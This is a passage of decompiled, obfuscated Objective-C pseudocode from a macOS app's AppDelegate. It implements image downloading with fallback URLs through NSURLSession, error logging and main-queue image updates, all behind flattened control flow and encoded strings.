id v27; // [rsp+58h] [rbp-48h]
id v28; // [rsp+60h] [rbp-40h]
id *v29; // [rsp+68h] [rbp-38h]
int *v30; // [rsp+70h] [rbp-30h]
v23 = self;
objc_retain(a3);
v24 = a4;
objc_retain(a4);
v25 = a3;
v6 = HikariFunctionWrapper_17287(&OBJC_CLASS___NSURL, "URLWithString:");
v27 = objc_retainAutoreleasedReturnValue(v6);
v7 = HikariFunctionWrapper_17289(&OBJC_CLASS___NSURLSession, "sharedSession");
v28 = objc_retainAutoreleasedReturnValue(v7);
v19[0] = _NSConcreteStackBlock;
v19[1] = 3254779904LL;
v19[2] = __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke;
v19[3] = &__block_descriptor_56_e8_32s40s48s_e46_v32__0__NSData_8__NSURLResponse_16__NSError_24l;
v29 = (id *)&v20;
v26 = -2033772973;
v30 = &v26;
do
{
while ( 1 )
{
while ( v26 <= 141480169 )
{
if ( v26 > -565261060 )
{
if ( v26 == -565261059 )
{
v15 = v25;
*v29 = v25;
v16 = v24;
v21 = v24;
v22 = v23;
objc_retain(v24);
objc_retain(v15);
v17 = HikariFunctionWrapper_17293(v28, "dataTaskWithURL:completionHandler:");
v18 = objc_retainAutoreleasedReturnValue(v17);
objc_release(v28);
HikariFunctionWrapper_17295(v18, "resume");
objc_release(v18);
objc_release(v21);
objc_release(*v29);
objc_release(v16);
objc_release(v15);
*v30 = 141480170;
}
else if ( v26 == -450504047 )
{
*v30 = -1233719162;
}
}
else if ( v26 == -2033772973 )
{
v8 = 141480170;
LABEL_19:
*v30 = v8;
}
else if ( v26 == -1233719162 )
{
LABEL_16:
*v30 = 1322548307;
}
}
if ( v26 > 1535853733 )
break;
if ( v26 == 141480170 )
{
v9 = v25;
*v29 = v25;
v10 = v24;
v21 = v24;
v22 = v23;
objc_retain(v24);
objc_retain(v9);
v13 = objc_msgSend(v28, "dataTaskWithURL:completionHandler:", v27, v19, v11, v12);
v14 = objc_retainAutoreleasedReturnValue(v13);
objc_release(v28);
HikariFunctionWrapper_17291(v14, "resume");
objc_release(v14);
objc_release(v21);
objc_release(*v29);
objc_release(v10);
objc_release(v9);
v8 = -450504047;
goto LABEL_19;
}
if ( v26 == 1322548307 )
{
objc_release(v27);
v8 = 1860617760;
goto LABEL_19;
}
}
if ( v26 == 1535853734 )
{
objc_release(v27);
goto LABEL_16;
}
}
while ( v26 != 1860617760 );
}
// 1000FA6CA: variable 'v11' is possibly undefined
// 1000FA6CA: variable 'v12' is possibly undefined
//----- (00000001000FA825) ----------------------------------------------------
__int64 __fastcall __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke(
__int64 a1,
void *a2,
__int64 a3,
__int64 a4)
{
__int64 result; // rax
bool v5; // zf
int v6; // eax
int v7; // ecx
char v8; // cf
bool v9; // zf
int v10; // ecx
int v11; // ecx
id v12; // rax
id v13; // rax
id v14; // rax
char v15; // cf
int v16; // ecx
id v17; // rax
id v18; // rax
id v19; // rax
dispatch_block_t v20; // r14
dispatch_block_t v21; // r13
void *v22; // rbx
id v23; // rax
dispatch_block_t v24; // r14
dispatch_block_t v25; // r12
void *v26; // rbx
__int64 v27; // [rsp+0h] [rbp-110h] BYREF
_DWORD *v28; // [rsp+8h] [rbp-108h]
id *v29; // [rsp+10h] [rbp-100h]
id v30; // [rsp+18h] [rbp-F8h]
__int64 v31; // [rsp+20h] [rbp-F0h]
__int64 v32; // [rsp+28h] [rbp-E8h]
id *v33; // [rsp+30h] [rbp-E0h]
id v34; // [rsp+38h] [rbp-D8h]
SEL v35; // [rsp+40h] [rbp-D0h]
id v36; // [rsp+48h] [rbp-C8h]
__int64 (__fastcall **v37)(__int64); // [rsp+50h] [rbp-C0h]
id v38; // [rsp+58h] [rbp-B8h]
SEL v39; // [rsp+60h] [rbp-B0h]
_QWORD *v40; // [rsp+68h] [rbp-A8h]
__int64 v41; // [rsp+70h] [rbp-A0h]
id v42; // [rsp+78h] [rbp-98h]
id v43; // [rsp+80h] [rbp-90h]
_QWORD *v44; // [rsp+88h] [rbp-88h]
int v45; // [rsp+94h] [rbp-7Ch]
int v46; // [rsp+98h] [rbp-78h]
int v47; // [rsp+9Ch] [rbp-74h] BYREF
id v48; // [rsp+A0h] [rbp-70h]
id v49; // [rsp+A8h] [rbp-68h]
id v50; // [rsp+B0h] [rbp-60h]
id v51; // [rsp+B8h] [rbp-58h]
dispatch_block_t v52; // [rsp+C0h] [rbp-50h]
dispatch_block_t v53; // [rsp+C8h] [rbp-48h]
dispatch_block_t block; // [rsp+D0h] [rbp-40h]
bool v55; // [rsp+D9h] [rbp-37h]
char v56; // [rsp+DAh] [rbp-36h]
bool v57; // [rsp+DBh] [rbp-35h]
bool v58; // [rsp+DCh] [rbp-34h]
bool v59; // [rsp+DDh] [rbp-33h]
bool v60; // [rsp+DEh] [rbp-32h]
char v61; // [rsp+DFh] [rbp-31h]
int *v62; // [rsp+E0h] [rbp-30h]
v31 = a4;
v50 = a2;
v45 = -2099914705;
v47 = -1897385413;
v62 = &v47;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v47;
if ( v47 <= 95304273 )
break;
if ( v47 > 1179072120 )
{
if ( v47 > 1490979150 )
{
if ( v47 <= 1800927418 )
{
if ( v47 <= 1644946455 )
{
switch ( v47 )
{
case 1490979151:
v5 = !v58;
v6 = -742317542;
v7 = -2030273561;
goto LABEL_308;
case 1493274771:
v23 = objc_alloc((Class)&OBJC_CLASS___NSImage);
v9 = 0;
v38 = v23;
v39 = "initWithData:";
v6 = -142116984;
v10 = 96923213;
goto LABEL_300;
case 1602134494:
*v62 = 95304274;
break;
}
}
else if ( v47 > 1671762967 )
{
if ( v47 == 1671762968 )
{
v8 = 1;
v6 = 1968866072;
v11 = -1617126784;
goto LABEL_290;
}
if ( v47 == 1708889972 )
{
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke_4;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
*v62 = 1895402164;
}
}
else if ( v47 == 1644946456 )
{
objc_release(v50);
*v62 = -1488106178;
}
else if ( v47 == 1653620906 )
{
v5 = !v60;
v6 = -2019490787;
v7 = -870787131;
goto LABEL_308;
}
}
else if ( v47 > 1968866071 )
{
if ( v47 > 2041388427 )
{
if ( v47 == 2041388428 )
{
NSLog(
CFSTR("pk2\nm\xA6O\xE4\x70\xBF\xF0\xEC\x1C\xBA\x19\xE2\xC1\x9B\xD1\x35\xDB\xFAoĴz\x0E\xFF"),
v32);
v15 = 0;
v33 = (id *)(a1 + 40);
v34 = *(id *)(a1 + 40);
v35 = "count";
v6 = -159370184;
v16 = 1602134494;
goto LABEL_296;
}
if ( v47 == 2069212740 )
{
*(_QWORD *)v53 = _NSConcreteStackBlock;
*((_DWORD *)v53 + 2) = -1040187392;
*((_DWORD *)v53 + 3) = 0;
*v62 = 144858739;
}
}
else if ( v47 == 1968866072 )
{
*v37 = __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke_2;
*((_QWORD *)v53 + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
*((_QWORD *)v53 + 4) = *(_QWORD *)(a1 + 48);
dispatch_async(&_dispatch_main_q, v53);
*v62 = -1617126784;
}
else if ( v47 == 1972645262 )
{
v49 = objc_msgSend(v30, "mutableCopy");
v17 = objc_msgSend(v49, "firstObject");
v43 = objc_retainAutoreleasedReturnValue(v17);
objc_msgSend(v49, "removeObjectAtIndex:", 0);
*v62 = -1766322531;
}
}
else if ( v47 > 1908693613 )
{
if ( v47 == 1908693614 )
{
*v62 = 1671762968;
}
else if ( v47 == 1953212961 )
{
v8 = 0;
v6 = 1653620906;
v11 = -2144596711;
goto LABEL_290;
}
}
else if ( v47 == 1800927419 )
{
v55 = v46 == 0;
*v62 = 404550032;
}
else if ( v47 == 1895402164 )
{
*((_DWORD *)block + 3) = 0;
*((_QWORD *)block + 2) = __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke_4;
*((_QWORD *)block + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
v8 = 1;
v44 = (char *)block + 32;
v6 = 1708889972;
v11 = -448520488;
goto LABEL_290;
}
}
else if ( v47 <= 1355825020 )
{
if ( v47 <= 1328273221 )
{
switch ( v47 )
{
case 1179072121:
aPk2M[0] = 69;
aPk2M[1] = 114;
aPk2M[2] = 114;
aPk2M[3] = 111;
aPk2M[4] = 114;
aPk2M[5] = 32;
aPk2M[6] = 100;
*v62 = 1139390218;
break;
case 1195940059:
v5 = !v59;
v6 = 1474257326;
v7 = -1142295411;
goto LABEL_308;
case 1275314819:
*v62 = -1516191800;
break;
}
}
else if ( v47 > 1335491748 )
{
if ( v47 == 1335491749 )
{
*v62 = 610019613;
}
else if ( v47 == 1340456457 )
{
v5 = 0;
v6 = 693340806;
v7 = 321367895;
goto LABEL_308;
}
}
else
{
if ( v47 == 1328273222 )
{
v5 = 0;
v58 = v57 || v50 == 0;
v6 = 1370953293;
v7 = 1490979151;
goto LABEL_308;
}
if ( v47 == 1331985374 )
{
dword_10029F550 = 1;
*v62 = 942769476;
}
}
}
else if ( v47 > 1445779181 )
{
if ( v47 > 1474257325 )
{
if ( v47 == 1474257326 )
{
v8 = 0;
v6 = 1481368647;
v11 = 170627707;
goto LABEL_290;
}
if ( v47 == 1481368647 )
{
v48 = objc_msgSend(*v33, "mutableCopy", 14496267);
v18 = objc_msgSend(v48, "firstObject");
v19 = objc_retainAutoreleasedReturnValue(v18);
v15 = 0;
v36 = v19;
v6 = 170627707;
v16 = -1240842386;
goto LABEL_296;
}
}
else
{
if ( v47 == 1445779182 )
{
v5 = 0;
v6 = 1179072121;
v7 = 1139390218;
goto LABEL_308;
}
if ( v47 == 1455869675 )
LABEL_277:
*v62 = 1644946456;
}
}
else if ( v47 > 1383588441 )
{
if ( v47 == 1383588442 )
{
*v62 = -810362565;
}
else if ( v47 == 1393963842 )
{
v8 = 0;
v6 = 1455869675;
v11 = 911592864;
goto LABEL_290;
}
}
else if ( v47 == 1355825021 )
{
*v62 = -1840533414;
}
else if ( v47 == 1370953293 )
{
*v62 = 1328273222;
}
}
else if ( v47 > 612526415 )
{
if ( v47 <= 763027004 )
{
if ( v47 <= 693340805 )
{
switch ( v47 )
{
case 612526416:
*v62 = 753613204;
break;
case 650079679:
v59 = objc_msgSend(v34, v35, 2260035169LL) == 0;
v15 = 0;
v6 = 650079679;
v16 = 1195940059;
goto LABEL_296;
case 666643850:
v8 = 1;
v6 = -1144986489;
goto LABEL_145;
}
}
else if ( v47 > 743879205 )
{
if ( v47 == 743879206 )
{
*(_QWORD *)v52 = _NSConcreteStackBlock;
v28 = (char *)v52 + 8;
*v62 = 597199593;
}
else if ( v47 == 753613204 )
{
v5 = 0;
v6 = 1370953293;
v7 = 1328273222;
goto LABEL_308;
}
}
else if ( v47 == 693340806 )
{
objc_release(v51);
*v62 = 321367895;
}
else if ( v47 == 735945696 )
{
*v44 = *(_QWORD *)(a1 + 48);
dispatch_async(&_dispatch_main_q, block);
*v62 = -1851185415;
}
}
else if ( v47 > 942769475 )
{
if ( v47 > 1068188623 )
{
if ( v47 == 1068188624 )
goto LABEL_283;
if ( v47 == 1139390218 )
{
v15 = 0;
aPk2M[0] = 69;
aPk2M[1] = 114;
aPk2M[2] = 114;
aPk2M[3] = 111;
aPk2M[4] = 114;
aPk2M[5] = 32;
aPk2M[6] = 100;
v61 = -63;
v6 = 1179072121;
v16 = -266357164;
goto LABEL_296;
}
}
else
{
if ( v47 == 942769476 )
{
dword_10029F550 = 1;
v53 = &v27;
v52 = &v27;
v15 = 1;
block = &v27 - 6;
v6 = -886129906;
v16 = 942769476;
goto LABEL_296;
}
if ( v47 == 986114631 )
{
aPk2M[8] = v56 ^ 1;
aPk2M[9] = 110;
aPk2M[10] = 108;
aPk2M[11] = 111;
aPk2M[12] = 97;
aPk2M[13] = 100;
aPk2M[14] = 105;
aPk2M[15] = 110;
aPk2M[16] = 103;
aPk2M[17] = 32;
aPk2M[18] = 105;
aPk2M[19] = 109;
aPk2M[20] = 97;
aPk2M[21] = 103;
aPk2M[22] = 101;
aPk2M[23] = 58;
aPk2M[24] = 32;
aPk2M[25] = 37;
aPk2M[26] = 64;
aPk2M[27] = 0;
*v62 = 862303835;
}
}
}
else if ( v47 > 862303834 )
{
if ( v47 == 862303835 )
{
v8 = 0;
v6 = 942769476;
v11 = 1331985374;
goto LABEL_290;
}
if ( v47 == 911592864 )
*v62 = 1393963842;
}
else
{
if ( v47 == 763027005 )
goto LABEL_235;
if ( v47 == 774874424 )
*v62 = -706771409;
}
}
else if ( v47 <= 321367894 )
{
if ( v47 <= 144858738 )
{
switch ( v47 )
{
case 95304274:
v15 = 1;
v6 = 650079679;
v16 = -2065140161;
goto LABEL_296;
case 96923213:
objc_alloc((Class)&OBJC_CLASS___NSImage);
*v62 = 1493274771;
break;
case 100031771:
*v62 = -824910738;
break;
}
}
else if ( v47 > 266177093 )
{
if ( v47 == 266177094 )
{
objc_msgSend(v42, "count");
*v62 = 292118865;
}
else if ( v47 == 292118865 )
{
v60 = HikariFunctionWrapper_17301(v42, "count") == 0;
v8 = 0;
v6 = -1670180606;
v11 = 266177094;
goto LABEL_290;
}
}
else
{
if ( v47 == 144858739 )
{
v15 = 0;
*(_QWORD *)v53 = _NSConcreteStackBlock;
*((_DWORD *)v53 + 2) = -1040187392;
*((_DWORD *)v53 + 3) = 0;
v6 = 2069212740;
v16 = -322122846;
goto LABEL_296;
}
if ( v47 == 170627707 )
{
v13 = objc_msgSend(*v33, "mutableCopy");
v14 = objc_msgSend(v13, "firstObject");
objc_retainAutoreleasedReturnValue(v14);
*v62 = 1481368647;
}
}
}
else if ( v47 > 555624632 )
{
if ( v47 > 609236033 )
{
if ( v47 == 609236034 )
{
objc_release(v36);
objc_release(v48);
goto LABEL_277;
}
if ( v47 == 610019613 )
{
v9 = 0;
v6 = 1393963842;
v10 = 911592864;
goto LABEL_300;
}
}
else
{
if ( v47 == 555624633 )
{
v8 = 1;
v6 = -1250664232;
v11 = 60077818;
goto LABEL_290;
}
if ( v47 == 597199593 )
{
*v28 = -1040187392;
*((_DWORD *)v52 + 3) = 0;
*((_QWORD *)v52 + 2) = __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke_3;
*((_QWORD *)v52 + 3) = &__block_descriptor_56_e8_32s40s48s_e5_v8__0l;
v40 = (char *)v52 + 32;
v41 = *(_QWORD *)(a1 + 48);
*v62 = 555624633;
}
}
}
else if ( v47 > 404550031 )
{
if ( v47 == 404550032 )
{
*v62 = -1834690838;
}
else if ( v47 == 458847420 )
{
goto LABEL_277;
}
}
else
{
if ( v47 == 321367895 )
{
objc_release(v51);
v8 = 0;
v6 = 1335491749;
v11 = 321367895;
goto LABEL_290;
}
if ( v47 == 378453155 )
{
objc_retain(v50);
v57 = v31 != 0;
v8 = 0;
v6 = 612526416;
LABEL_145:
v11 = 378453155;
goto LABEL_290;
}
}
}
if ( v47 > -1000331132 )
break;
if ( v47 > -1617126785 )
{
if ( v47 <= -1311719912 )
{
if ( v47 <= -1508802360 )
{
switch ( v47 )
{
case -1617126784:
*v37 = __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke_2;
*((_QWORD *)v53 + 3) = &__block_descriptor_40_e8_32s_e5_v8__0l;
*((_QWORD *)v53 + 4) = *(_QWORD *)(a1 + 48);
dispatch_async(&_dispatch_main_q, v53);
v9 = 0;
v6 = 458847420;
v10 = -1617126784;
goto LABEL_300;
case -1572416192:
v8 = 1;
aPk2M[7] = v61 ^ 0xAE;
v56 = 118;
v6 = -1572416192;
v11 = 28847646;
goto LABEL_290;
case -1516191800:
v8 = 0;
v6 = 1895402164;
v11 = 1708889972;
goto LABEL_290;
}
}
else if ( v47 > -1384930059 )
{
if ( v47 == -1384930058 )
{
v15 = 0;
v6 = -744497586;
v16 = 1800927419;
goto LABEL_296;
}
if ( v47 == -1380967434 )
*v62 = -1384930058;
}
else if ( v47 == -1508802359 )
{
*v62 = -613672788;
}
else if ( v47 == -1488106178 )
{
v15 = 1;
v6 = -191083416;
v16 = -1072645227;
goto LABEL_296;
}
}
else if ( v47 > -1144986490 )
{
if ( v47 > -1072645228 )
{
if ( v47 == -1072645227 )
{
*v62 = -191083416;
}
else if ( v47 == -1035901094 )
{
v8 = 1;
v6 = -810977463;
v11 = -364119612;
goto LABEL_290;
}
}
else if ( v47 == -1144986489 )
{
objc_retain(v50);
*v62 = 378453155;
}
else if ( v47 == -1142295411 )
{
v15 = 1;
v6 = 144858739;
v16 = 2069212740;
goto LABEL_296;
}
}
else if ( v47 > -1250664233 )
{
if ( v47 == -1250664232 )
{
*v40 = v41;
v24 = v52;
objc_retain(v51);
*((_QWORD *)v24 + 5) = v51;
v25 = v52;
v26 = *(void **)(a1 + 32);
objc_retain(v26);
*((_QWORD *)v25 + 6) = v26;
HikariFunctionWrapper_17305(&_dispatch_main_q, v52);
objc_release(*((id *)v25 + 6));
objc_release(*((id *)v24 + 5));
*v62 = 60077818;
}
else if ( v47 == -1240842386 )
{
*v62 = -796097510;
}
}
else if ( v47 == -1311719911 )
{
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
*v62 = -35301343;
}
else if ( v47 == -1291017450 )
{
v12 = objc_msgSend(v38, v39, v50);
v9 = 0;
v51 = v12;
v6 = 774874424;
v10 = -1291017450;
goto LABEL_300;
}
}
else if ( v47 <= -1871570689 )
{
if ( v47 <= -2039325636 )
{
switch ( v47 )
{
case -2144596711:
LABEL_235:
*v62 = 1953212961;
break;
case -2065140161:
objc_msgSend(v34, v35);
*v62 = 650079679;
break;
case -2060861557:
*v62 = -485428346;
break;
}
}
else if ( v47 > -2019490788 )
{
if ( v47 == -2019490787 )
{
v8 = 1;
v6 = 1355825021;
v11 = -1840533414;
goto LABEL_290;
}
if ( v47 == -1897385413 )
{
v9 = v45 == -1656255581;
v6 = -613672788;
v10 = -1508802359;
goto LABEL_300;
}
}
else if ( v47 == -2039325635 )
{
*v62 = 1972645262;
}
else if ( v47 == -2030273561 )
{
v9 = 0;
v6 = -810362565;
v10 = 1383588442;
goto LABEL_300;
}
}
else if ( v47 > -1766322532 )
{
if ( v47 > -1663380489 )
{
if ( v47 == -1663380488 )
{
v8 = 1;
v37 = (__int64 (__fastcall **)(__int64))((char *)v53 + 16);
v6 = -1871570688;
v11 = 1908693614;
goto LABEL_290;
}
if ( v47 == -1652888354 )
{
v15 = 1;
v6 = 292118865;
v16 = 266177094;
goto LABEL_296;
}
}
else if ( v47 == -1766322531 )
{
objc_msgSend(*(id *)(a1 + 48), "downloadImageFromURL:withFallbacks:", v43, v49);
objc_release(v43);
objc_release(v49);
LABEL_283:
*v62 = 1340456457;
}
else if ( v47 == -1670180606 )
{
*v62 = 763027005;
}
}
else if ( v47 > -1840533415 )
{
if ( v47 == -1840533414 )
{
v15 = 1;
v30 = *v29;
v6 = -2039325635;
v16 = -1840533414;
goto LABEL_296;
}
if ( v47 == -1834690838 )
{
v15 = 1;
v6 = -824910738;
v16 = 100031771;
goto LABEL_296;
}
}
else if ( v47 == -1871570688 )
{
*v62 = -1663380488;
}
else if ( v47 == -1851185415 )
{
*v44 = *(_QWORD *)(a1 + 48);
dispatch_async(&_dispatch_main_q, block);
v9 = 0;
v6 = 1068188624;
v10 = 735945696;
goto LABEL_300;
}
}
if ( v47 > -517488284 )
break;
if ( v47 <= -744497587 )
{
if ( v47 <= -824910739 )
{
switch ( v47 )
{
case -1000331131:
objc_msgSend(v38, v39, v50);
*v62 = -1291017450;
break;
case -886129906:
*v62 = 666643850;
break;
case -870787131:
v15 = 1;
v6 = -35301343;
goto LABEL_162;
}
}
else if ( v47 > -810362566 )
{
if ( v47 == -810362565 )
{
v9 = 0;
v32 = *(_QWORD *)(a1 + 32);
v6 = -2060861557;
v10 = -810362565;
goto LABEL_300;
}
if ( v47 == -796097510 )
{
HikariFunctionWrapper_17297(v48, "removeObjectAtIndex:");
HikariFunctionWrapper_17299(*(void **)(a1 + 48), "downloadImageFromURL:withFallbacks:");
*v62 = 609236034;
}
}
else
{
if ( v47 == -824910738 )
{
v8 = 0;
v6 = -469034077;
v11 = -824910738;
goto LABEL_290;
}
if ( v47 == -810977463 )
*v62 = -364119612;
}
}
else if ( v47 > -613672789 )
{
if ( v47 > -564962692 )
{
if ( v47 == -564962691 )
{
aPk2M[7] = v61 - 2 * (v61 & 0x2E) - 82;
*v62 = -1572416192;
}
else if ( v47 == -544489996 )
{
v8 = 1;
v6 = 735945696;
v11 = -1851185415;
goto LABEL_290;
}
}
else
{
if ( v47 == -613672788 )
{
v15 = 0;
v46 = dword_10029F550;
v6 = -1508802359;
v16 = -1380967434;
LABEL_296:
if ( !v15 )
v6 = v16;
goto LABEL_310;
}
if ( v47 == -597478376 )
{
v15 = 0;
v6 = -1871570688;
v16 = -1663380488;
goto LABEL_296;
}
}
}
else if ( v47 > -706771410 )
{
if ( v47 == -706771409 )
{
v9 = v51 == 0;
v6 = 743879206;
v10 = -1035901094;
LABEL_300:
if ( v9 )
v6 = v10;
goto LABEL_310;
}
if ( v47 == -654946202 )
{
v8 = 0;
v6 = -1291017450;
v11 = -1000331131;
goto LABEL_290;
}
}
else if ( v47 == -744497586 )
{
*v62 = 1800927419;
}
else if ( v47 == -742317542 )
{
v8 = 1;
v6 = 96923213;
v11 = 1493274771;
goto LABEL_290;
}
}
if ( v47 <= -203902091 )
break;
if ( v47 > -60743473 )
{
if ( v47 > 28847645 )
{
if ( v47 == 28847646 )
{
*v62 = 986114631;
}
else if ( v47 == 60077818 )
{
*v40 = v41;
v20 = v52;
objc_retain(v51);
*((_QWORD *)v20 + 5) = v51;
v21 = v52;
v22 = *(void **)(a1 + 32);
objc_retain(v22);
*((_QWORD *)v21 + 6) = v22;
dispatch_async(&_dispatch_main_q, v52);
objc_release(*((id *)v21 + 6));
objc_release(*((id *)v20 + 5));
v9 = 0;
v6 = -203902090;
v10 = 60077818;
goto LABEL_300;
}
}
else if ( v47 == -60743472 )
{
*v62 = -1652888354;
}
else if ( v47 == -35301343 )
{
v15 = 1;
*(_QWORD *)block = _NSConcreteStackBlock;
*((_DWORD *)block + 2) = -1040187392;
v6 = 1275314819;
LABEL_162:
v16 = -1311719911;
goto LABEL_296;
}
}
else if ( v47 > -159370185 )
{
if ( v47 == -159370184 )
{
HikariFunctionWrapper_17303(CFSTR("pk2\nm\xA6O\xE4\x70\xBF\xF0\xEC\x1C\xBA\x19\xE2\xC1\x9B\xD1\x35\xDB\xFAoĴz\x0E\xFF"));
*v62 = 2041388428;
}
else if ( v47 == -142116984 )
{
*v62 = -654946202;
}
}
else
{
if ( v47 == -203902090 )
goto LABEL_283;
if ( v47 == -191083416 )
{
v5 = 0;
v6 = -1072645227;
v7 = -517488283;
goto LABEL_308;
}
}
}
if ( v47 <= -390959977 )
break;
if ( v47 > -322122847 )
{
if ( v47 == -322122846 )
{
*v62 = -597478376;
}
else if ( v47 == -266357164 )
{
*v62 = -390959976;
}
}
else if ( v47 == -390959976 )
{
v8 = 0;
v6 = -1572416192;
v11 = -564962691;
LABEL_290:
if ( v8 )
v6 = v11;
LABEL_310:
*v62 = v6;
}
else if ( v47 == -364119612 )
{
v5 = 0;
v29 = (id *)(a1 + 40);
v42 = *(id *)(a1 + 40);
v6 = -364119612;
v7 = -60743472;
goto LABEL_308;
}
}
if ( v47 <= -469034078 )
break;
if ( v47 == -469034077 )
{
v5 = !v55;
v6 = 862303835;
v7 = 1445779182;
LABEL_308:
if ( !v5 )
v6 = v7;
goto LABEL_310;
}
if ( v47 == -448520488 )
*v62 = -544489996;
}
if ( v47 == -485428346 )
{
v8 = 1;
v6 = -159370184;
v11 = 2041388428;
goto LABEL_290;
}
}
while ( v47 != -517488283 );
return result;
}
// 10029F550: using guessed type int dword_10029F550;
//----- (00000001000FC8F6) ----------------------------------------------------
__int64 __fastcall __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke_2(__int64 a1)
{
__int64 result; // rax
int v2; // ecx
int v3; // eax
bool v4; // zf
int v5; // ecx
id v6; // rdi
NSImage *v7; // rax
NSImage *v8; // r15
id v9; // rdi
int v11; // [rsp+18h] [rbp-48h]
int v12; // [rsp+1Ch] [rbp-44h] BYREF
id WeakRetained; // [rsp+20h] [rbp-40h]
bool v14; // [rsp+2Fh] [rbp-31h]
int *v15; // [rsp+30h] [rbp-30h]
v12 = 832940881;
v15 = &v12;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v12;
if ( v12 <= -108875088 )
break;
if ( v12 > 835227690 )
{
if ( v12 > 1333528422 )
{
if ( v12 > 1451483491 )
{
if ( v12 == 1451483492 )
{
v9 = url_image;
url_image = &stru_10025B688;
objc_release(v9);
*v15 = -108875087;
}
else if ( v12 == 2050714864 )
{
*v15 = -580610210;
}
}
else if ( v12 == 1333528423 )
{
*v15 = -595589282;
}
else if ( v12 == 1404191381 )
{
v4 = !v14;
v3 = 754263351;
v5 = 567378469;
goto LABEL_78;
}
}
else if ( v12 > 978211291 )
{
if ( v12 == 978211292 )
{
v2 = 817571480;
goto LABEL_84;
}
if ( v12 == 1242940961 )
{
v2 = -108875087;
goto LABEL_84;
}
}
else if ( v12 == 835227691 )
{
objc_release(WeakRetained);
*v15 = -1345105259;
}
else if ( v12 == 900261468 )
{
asc_10027D054[1] = 100;
asc_10027D054[2] = 107;
asc_10027D054[3] = 0;
v3 = -1459396070;
goto LABEL_85;
}
}
else if ( v12 > 754263350 )
{
if ( v12 > 817571479 )
{
if ( v12 == 817571480 )
{
v14 = v11 == 0;
v2 = 1333528423;
goto LABEL_84;
}
if ( v12 == 832940881 )
{
v3 = -630227946;
goto LABEL_85;
}
}
else if ( v12 == 754263351 )
{
dword_10029F554 = 1;
WeakRetained = objc_loadWeakRetained((id *)(*(_QWORD *)(a1 + 32) + 80LL));
v7 = +[NSImage imageNamed:](&OBJC_CLASS___NSImage, "imageNamed:", CFSTR("\xC3\xE8n\x9E"));
v8 = objc_retainAutoreleasedReturnValue(v7);
objc_msgSend(WeakRetained, "setImage:", v8);
objc_release(v8);
*v15 = -1534589710;
}
else if ( v12 == 817230426 )
{
asc_10027D054[0] = 105;
*v15 = -191785358;
}
}
else if ( v12 > 276672880 )
{
if ( v12 == 276672881 )
{
asc_10027D054[1] = 100;
asc_10027D054[2] = 107;
asc_10027D054[3] = 0;
*v15 = 900261468;
}
else if ( v12 == 567378469 )
{
v3 = 817230426;
goto LABEL_85;
}
}
else
{
if ( v12 == -108875087 )
{
v6 = url_image;
url_image = &stru_10025B688;
objc_release(v6);
v4 = 0;
v3 = 1451483492;
v5 = -1989209318;
goto LABEL_78;
}
if ( v12 == -43726861 )
{
v3 = -390762674;
goto LABEL_85;
}
}
}
if ( v12 <= -841308786 )
break;
if ( v12 > -580610211 )
{
if ( v12 > -292955285 )
{
if ( v12 == -292955284 )
{
*v15 = -630227946;
}
else if ( v12 == -191785358 )
{
*v15 = -1860440079;
}
}
else
{
if ( v12 == -580610210 )
{
v4 = 0;
v3 = 2050714864;
v5 = 1404191381;
goto LABEL_78;
}
if ( v12 == -390762674 )
*v15 = 754263351;
}
}
else if ( v12 > -630227947 )
{
if ( v12 == -630227946 )
{
v4 = 0;
v11 = dword_10029F554;
v3 = -630227946;
v5 = -1268428263;
LABEL_78:
if ( !v4 )
v3 = v5;
LABEL_85:
*v15 = v3;
}
else if ( v12 == -595589282 )
{
v2 = -580610210;
goto LABEL_84;
}
}
else if ( v12 == -841308785 )
{
*v15 = 817571480;
}
else if ( v12 == -790988147 )
{
*v15 = -43726861;
}
}
if ( v12 <= -1534589711 )
break;
if ( v12 > -1345105260 )
{
if ( v12 == -1345105259 )
{
objc_release(WeakRetained);
v2 = -1606262114;
goto LABEL_84;
}
if ( v12 == -1268428263 )
*v15 = 978211292;
}
else
{
if ( v12 == -1534589710 )
{
v2 = -1345105259;
goto LABEL_84;
}
if ( v12 == -1459396070 )
*v15 = -1831500527;
}
}
if ( v12 <= -1692260789 )
break;
if ( v12 == -1692260788 )
{
asc_10027D054[0] = 105;
*v15 = 817230426;
}
else if ( v12 == -1606262114 )
{
*v15 = 1242940961;
}
}
if ( v12 == -1860440079 )
{
v3 = 900261468;
goto LABEL_85;
}
if ( v12 == -1831500527 )
{
v2 = -43726861;
LABEL_84:
v3 = v2;
goto LABEL_85;
}
}
while ( v12 != -1989209318 );
return result;
}
// 1000FD10C: conditional instruction was optimized away because cf.1==0
// 1000FCF7F: variable 'v11' is possibly undefined
// 10025B688: using guessed type __CFString stru_10025B688;
// 10027D080: using guessed type __CFString stru_10027D080;
// 10029F554: using guessed type int dword_10029F554;
//----- (00000001000FD134) ----------------------------------------------------
__int64 __fastcall __50__AppDelegate_downloadImageFromURL_withFallbacks___block_invoke_3(__int64 a1)
{
__int64 result; // rax
id v2; // rax
int v3; // eax
char v4; // cf
int v5; // ecx
id v6; // rax
__int64 v7; // [rsp+8h] [rbp-58h]
void *v8; // [rsp+10h] [rbp-50h]
id v9; // [rsp+18h] [rbp-48h]
int v10; // [rsp+24h] [rbp-3Ch] BYREF
id v11; // [rsp+28h] [rbp-38h]
int *v12; // [rsp+30h] [rbp-30h]
v10 = 78723644;
v12 = &v10;
do
{
while ( 1 )
{
while ( 1 )
{
result = (unsigned int)v10;
if ( v10 <= 305708390 )
break;
if ( v10 > 860613394 )
{
switch ( v10 )
{
case 860613395:
v3 = 666458962;
goto LABEL_29;
case 930504154:
*v12 = -997824397;
break;
